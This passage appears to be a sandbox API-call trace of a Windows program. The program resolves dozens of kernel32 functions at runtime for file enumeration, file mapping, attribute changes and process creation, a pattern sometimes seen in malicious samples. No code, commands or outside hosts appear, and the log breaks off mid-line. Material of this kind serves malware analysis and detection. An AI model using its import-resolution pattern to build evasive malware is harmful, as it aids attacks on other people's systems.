[0049.198] RtlMoveMemory (in: Destination=0x2e5060, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5060) [0049.198] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0049.198] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="淌") returned="淌" [0049.198] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b34, Length=0x4 | out: Destination=0x18f6c4) [0049.199] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="졠盕欈") returned="졠盕欈" [0049.199] RtlMoveMemory (in: Destination=0x2e5064, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5064) [0049.199] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0049.199] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="淤") returned="淤" [0049.199] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b38, Length=0x4 | out: Destination=0x18f6c4) [0049.199] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䐵盔欈") returned="䐵盔欈" [0049.199] RtlMoveMemory (in: Destination=0x2e5068, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5068) [0049.199] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0049.199] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="淶") returned="淶" [0049.199] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b3c, Length=0x4 | out: Destination=0x18f6c4) [0049.199] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᓉ盔欈") returned="ᓉ盔欈" [0049.199] RtlMoveMemory (in: Destination=0x2e506c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e506c) [0049.199] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0049.199] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="渂") returned="渂" [0049.199] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b40, Length=0x4 | out: Destination=0x18f6c4) [0049.199] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="哮盔欈") returned="哮盔欈" [0049.199] RtlMoveMemory (in: Destination=0x2e5070, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5070) [0049.199] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0049.200] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="渒") returned="渒" [0049.200] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b44, Length=0x4 | out: Destination=0x18f6c4) [0049.200] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᜀ盔欈") returned="ᜀ盔欈" [0049.200] RtlMoveMemory (in: Destination=0x2e5074, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5074) [0049.200] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0049.200] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="渞") returned="渞" [0049.200] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b48, Length=0x4 | out: Destination=0x18f6c4) [0049.200] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䑂盔欈") returned="䑂盔欈" [0049.200] RtlMoveMemory (in: Destination=0x2e5078, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5078) [0049.200] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0049.200] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="渪") returned="渪" [0049.200] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b4c, Length=0x4 | out: Destination=0x18f6c4) [0049.200] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᇀ盔欈") returned="ᇀ盔欈" [0049.200] RtlMoveMemory (in: Destination=0x2e507c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e507c) [0049.200] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatW") returned 0x76d6828e [0049.200] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="渺") returned="渺" [0049.200] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b50, Length=0x4 | out: Destination=0x18f6c4) [0049.200] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="芎盖欈") returned="芎盖欈" [0049.200] RtlMoveMemory (in: Destination=0x2e5080, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5080) [0049.201] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0049.201] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="湆") returned="湆" [0049.201] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b54, Length=0x4 | out: Destination=0x18f6c4) [0049.201] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="矆欈") returned="矆欈" [0049.201] RtlMoveMemory (in: Destination=0x2e5084, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5084) [0049.201] GetProcAddress (hModule=0x76d30000, lpProcName="LocalFree") returned 0x76d42d3c [0049.201] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="湒") returned="湒" [0049.201] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b58, Length=0x4 | out: Destination=0x18f6c4) [0049.201] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ⴼ盔欈") returned="ⴼ盔欈" [0049.201] RtlMoveMemory (in: Destination=0x2e5088, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5088) [0049.201] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0049.201] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="湞") returned="湞" [0049.201] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b5c, Length=0x4 | out: Destination=0x18f6c4) [0049.201] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᓩ盔欈") returned="ᓩ盔欈" [0049.201] RtlMoveMemory (in: Destination=0x2e508c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e508c) [0049.201] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyW") returned 0x76d63102 [0049.202] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="湰") returned="湰" [0049.202] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b60, Length=0x4 | out: Destination=0x18f6c4) [0049.202] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="㄂盖欈") returned="㄂盖欈" [0049.202] RtlMoveMemory (in: Destination=0x2e5090, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5090) [0049.202] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0049.202] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="湼") returned="湼" [0049.202] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b64, Length=0x4 | out: Destination=0x18f6c4) [0049.202] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="᠉盔欈") returned="᠉盔欈" [0049.202] RtlMoveMemory (in: Destination=0x2e5094, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5094) [0049.202] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0049.202] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="源") returned="源" [0049.202] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b68, Length=0x4 | out: Destination=0x18f6c4) [0049.202] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ኂ盔欈") returned="ኂ盔欈" [0049.202] RtlMoveMemory (in: Destination=0x2e5098, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5098) [0049.202] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0049.202] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="溜") returned="溜" [0049.202] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b6c, Length=0x4 | out: Destination=0x18f6c4) [0049.202] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="㽜盔欈") returned="㽜盔欈" [0049.203] RtlMoveMemory (in: Destination=0x2e509c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e509c) [0049.203] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0049.203] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="溪") returned="溪" [0049.203] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b70, Length=0x4 | out: Destination=0x18f6c4) [0049.203] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᐐ盔欈") returned="ᐐ盔欈" [0049.203] RtlMoveMemory (in: Destination=0x2e50a0, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50a0) [0049.203] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0049.203] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="溸") returned="溸" [0049.203] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b74, Length=0x4 | out: Destination=0x18f6c4) [0049.203] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䇰盔欈") returned="䇰盔欈" [0049.203] RtlMoveMemory (in: Destination=0x2e50a4, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50a4) [0049.203] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0049.203] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="烌") returned="烌" [0049.203] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b78, Length=0x4 | out: Destination=0x18f6c4) [0049.203] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="刣盔欈") returned="刣盔欈" [0049.203] RtlMoveMemory (in: Destination=0x2e50a8, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50a8) [0049.203] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0049.203] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="滮") returned="滮" [0049.203] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b7c, Length=0x4 | out: Destination=0x18f6c4) [0049.204] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="㻓盔欈") returned="㻓盔欈" [0049.204] RtlMoveMemory (in: Destination=0x2e50ac, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50ac) [0049.204] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0049.204] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="滺") returned="滺" [0049.204] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b80, Length=0x4 | out: Destination=0x18f6c4) [0049.204] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="?盕欈") returned="?盕欈" [0049.204] RtlMoveMemory (in: Destination=0x2e50b0, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50b0) [0049.204] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0049.204] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="漎") returned="漎" [0049.204] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b84, Length=0x4 | out: Destination=0x18f6c4) [0049.204] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䅛盜欈") returned="䅛盜欈" [0049.204] RtlMoveMemory (in: Destination=0x2e50b4, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50b4) [0049.204] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0049.204] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="漜") returned="漜" [0049.204] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b88, Length=0x4 | out: Destination=0x18f6c4) [0049.204] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᬀ盔欈") returned="ᬀ盔欈" [0049.204] RtlMoveMemory (in: Destination=0x2e50b8, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50b8) [0049.205] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0049.205] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="漬") returned="漬" [0049.205] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b8c, Length=0x4 | out: Destination=0x18f6c4) [0049.205] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䠡盜欈") returned="䠡盜欈" [0049.205] RtlMoveMemory (in: Destination=0x2e50bc, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50bc) [0049.205] GetProcAddress (hModule=0x76d30000, lpProcName="GetTempPathW") returned 0x76d5d4dc [0049.205] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="漼") returned="漼" [0049.205] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b90, Length=0x4 | out: Destination=0x18f6c4) [0049.205] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="퓜盕欈") returned="퓜盕欈" [0049.205] RtlMoveMemory (in: Destination=0x2e50c0, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50c0) [0049.205] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0049.205] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="潌") returned="潌" [0049.205] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b94, Length=0x4 | out: Destination=0x18f6c4) [0049.205] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䉌盔欈") returned="䉌盔欈" [0049.205] RtlMoveMemory (in: Destination=0x2e50c4, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50c4) [0049.205] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0049.205] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="潜") returned="潜" [0049.205] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b98, Length=0x4 | out: Destination=0x18f6c4) [0049.206] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᄶ盔欈") returned="ᄶ盔欈" [0049.206] RtlMoveMemory (in: Destination=0x2e50c8, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50c8) [0049.206] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0049.206] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="潲") returned="潲" [0049.206] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6b9c, Length=0x4 | out: Destination=0x18f6c4) [0049.206] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="観盔欈") returned="観盔欈" [0049.206] RtlMoveMemory (in: Destination=0x2e50cc, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50cc) [0049.206] GetProcAddress (hModule=0x76d30000, lpProcName="GetWindowsDirectoryW") returned 0x76d443e2 [0049.206] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="澀") returned="澀" [0049.206] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ba0, Length=0x4 | out: Destination=0x18f6c4) [0049.206] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䏢盔欈") returned="䏢盔欈" [0049.206] RtlMoveMemory (in: Destination=0x2e50d0, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50d0) [0049.206] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0049.206] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="澘") returned="澘" [0049.206] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ba4, Length=0x4 | out: Destination=0x18f6c4) [0049.206] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᇸ盔欈") returned="ᇸ盔欈" [0049.206] RtlMoveMemory (in: Destination=0x2e50d4, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50d4) [0049.207] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0049.207] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="澮") returned="澮" [0049.207] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6ba8, Length=0x4 | out: Destination=0x18f6c4) [0049.207] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ွ盔欈") returned="ွ盔欈" [0049.207] RtlMoveMemory (in: Destination=0x2e50d8, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50d8) [0049.207] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0049.207] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="激") returned="激" [0049.207] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bac, Length=0x4 | out: Destination=0x18f6c4) [0049.207] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᄌ盔欈") returned="ᄌ盔欈" [0049.207] RtlMoveMemory (in: Destination=0x2e50dc, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50dc) [0049.207] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0049.207] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="濐") returned="濐" [0049.207] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bb0, Length=0x4 | out: Destination=0x18f6c4) [0049.207] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="姢盔欈") returned="姢盔欈" [0049.207] RtlMoveMemory (in: Destination=0x2e50e0, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50e0) [0049.207] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0049.207] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="濠") returned="濠" [0049.207] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bb4, Length=0x4 | out: Destination=0x18f6c4) [0049.208] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="츮盕欈") returned="츮盕欈" [0049.208] RtlMoveMemory (in: Destination=0x2e50e4, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50e4) [0049.208] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0049.208] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="濰") returned="濰" [0049.208] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bb8, Length=0x4 | out: Destination=0x18f6c4) [0049.208] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᬘ盔欈") returned="ᬘ盔欈" [0049.208] RtlMoveMemory (in: Destination=0x2e50e8, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50e8) [0049.208] GetProcAddress (hModule=0x76d30000, lpProcName="UnmapViewOfFile") returned 0x76d41826 [0049.209] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="瀆") returned="瀆" [0049.209] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bbc, Length=0x4 | out: Destination=0x18f6c4) [0049.209] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᠦ盔欈") returned="ᠦ盔欈" [0049.209] RtlMoveMemory (in: Destination=0x2e50ec, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50ec) [0049.209] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0049.209] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="瀘") returned="瀘" [0049.209] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bc0, Length=0x4 | out: Destination=0x18f6c4) [0049.209] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="퓷盕欈") returned="퓷盕欈" [0049.209] RtlMoveMemory (in: Destination=0x2e50f0, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50f0) [0049.209] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandle") returned 0x76d6cbfc [0049.209] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="瀮") returned="瀮" [0049.209] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bc4, Length=0x4 | out: Destination=0x18f6c4) [0049.209] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="쯼盖欈") returned="쯼盖欈" [0049.209] RtlMoveMemory (in: Destination=0x2e50f4, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50f4) [0049.209] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0049.209] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="灌") returned="灌" [0049.209] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bc8, Length=0x4 | out: Destination=0x18f6c4) [0049.209] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="젇盕欈") returned="젇盕欈" [0049.209] RtlMoveMemory (in: Destination=0x2e50f8, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50f8) [0049.210] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileMappingW") returned 0x76d41909 [0049.210] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="灠") returned="灠" [0049.210] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bcc, Length=0x4 | out: Destination=0x18f6c4) [0049.210] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᤉ盔欈") returned="ᤉ盔欈" [0049.210] RtlMoveMemory (in: Destination=0x2e50fc, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e50fc) [0049.210] GetProcAddress (hModule=0x76d30000, lpProcName="MapViewOfFile") returned 0x76d418f1 [0049.210] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="灶") returned="灶" [0049.210] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bd0, Length=0x4 | out: Destination=0x18f6c4) [0049.210] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ᣱ盔欈") returned="ᣱ盔欈" [0049.210] RtlMoveMemory (in: Destination=0x2e5100, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5100) [0049.210] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0049.210] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="炆") returned="炆" [0049.210] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bd4, Length=0x4 | out: Destination=0x18f6c4) [0049.210] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="㈯盔欈") returned="㈯盔欈" [0049.210] RtlMoveMemory (in: Destination=0x2e5104, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5104) [0049.210] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0049.211] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="炘") returned="炘" [0049.211] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bd8, Length=0x4 | out: Destination=0x18f6c4) [0049.211] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="ჿ盔欈") returned="ჿ盔欈" [0049.211] RtlMoveMemory (in: Destination=0x2e5108, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5108) [0049.211] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0049.211] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="炠") returned="炠" [0049.211] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6bdc, Length=0x4 | out: Destination=0x18f6c4) [0049.211] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="㓕盔欈") returned="㓕盔欈" [0049.211] RtlMoveMemory (in: Destination=0x2e510c, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e510c) [0049.211] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiW") returned 0x76d5d5cd [0049.211] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="炰") returned="炰" [0049.211] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6be0, Length=0x4 | out: Destination=0x18f6c4) [0049.211] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="헍盕欈") returned="헍盕欈" [0049.211] RtlMoveMemory (in: Destination=0x2e5110, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5110) [0049.211] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0049.211] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="炼") returned="炼" [0049.211] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6be4, Length=0x4 | out: Destination=0x18f6c4) [0049.211] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="䆋盔欈") returned="䆋盔欈" [0049.211] RtlMoveMemory (in: Destination=0x2e5114, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5114) [0049.212] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76d6bafd [0049.212] lstrcpynW (in: lpString1=0x18f6c4, lpString2="", iMaxLength=0 | out: lpString1="焢") returned="焢" [0049.212] RtlMoveMemory (in: Destination=0x18f6c4, Source=0x2e6be8, Length=0x4 | out: Destination=0x18f6c4) [0049.212] lstrcpynW (in: lpString1=0x18f6c8, lpString2="", iMaxLength=0 | out: lpString1="뫽盖欈") returned="뫽盖欈" [0049.212] RtlMoveMemory (in: Destination=0x2e5118, Source=0x18f6c8, Length=0x4 | out: Destination=0x2e5118) [0049.212] lstrcpynW (in: lpString1=0x18f6cc, lpString2="", iMaxLength=0 | out: lpString1="欈") returned="欈" [0049.212] RtlMoveMemory (in: Destination=0x18f6cc, Source=0x2e6ab8, Length=0x14 | out: Destination=0x18f6cc) [0049.212] VarCmp (pvarLeft=0x18f4fc, pvarRight=0x18f68c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.212] VarCmp (pvarLeft=0x18f4fc, pvarRight=0x18f68c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.212] VarCmp (pvarLeft=0x18f4fc, pvarRight=0x18f68c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.212] VarCmp (pvarLeft=0x18f4fc, pvarRight=0x18f68c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0049.212] lstrcpynW (in: lpString1=0x18f52c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0049.212] RtlMoveMemory (in: Destination=0x18f52c, Source=0x2e0000, Length=0x40 | out: Destination=0x18f52c) [0049.212] VarSub (in: pvarLeft=0x18f580, pvarRight=0x18f4fc, pvarResult=0x18f51c | out: pvarResult=0x18f51c) returned 0x0 [0049.212] VarCmp (pvarLeft=0x18f51c, pvarRight=0x18f4ec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0049.212] VarCmp (pvarLeft=0x18f580, pvarRight=0x18f4fc, lcid=0x0, dwFlags=0x30001) returned 0x0 [0049.212] VarAdd (in: pvarLeft=0x18f580, 